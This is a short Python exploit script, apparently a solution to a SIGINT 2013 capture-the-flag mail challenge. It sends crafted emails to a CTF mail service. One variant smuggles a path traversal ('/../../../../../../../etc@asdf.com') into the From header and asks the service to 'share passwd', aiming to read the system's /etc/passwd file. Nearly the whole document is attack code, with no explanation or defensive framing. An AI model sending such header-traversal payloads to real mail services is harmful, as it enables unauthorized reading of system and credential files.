[SIGINT 2013] mail exploit

import smtplib
import sys
 
sender = 'hans@ck.er'
receivers = ['test@b3.ctf.sigint.ccc.de']
 
if sys.argv[1] == "tunz":
        message = """From: ~~~~~~your email address~~~~~~
To: cloud <test@b3.ctf.sigint.ccc.de>
Subject: get passwd
 
This is a test e-mail message.
"""
else:
        message = """From: /../../../../../../../etc@asdf.com
To: cloud <test@b3.ctf.sigint.ccc.de>
Subject: share passwd ~~~~~~your email address~~~~~~
 
This is a test e-mail message.
"""
 
print message
 
 
smtpObj = smtplib.SMTP('localhost')
smtpObj.sendmail(sender, receivers, message)
print "Successfully sent email"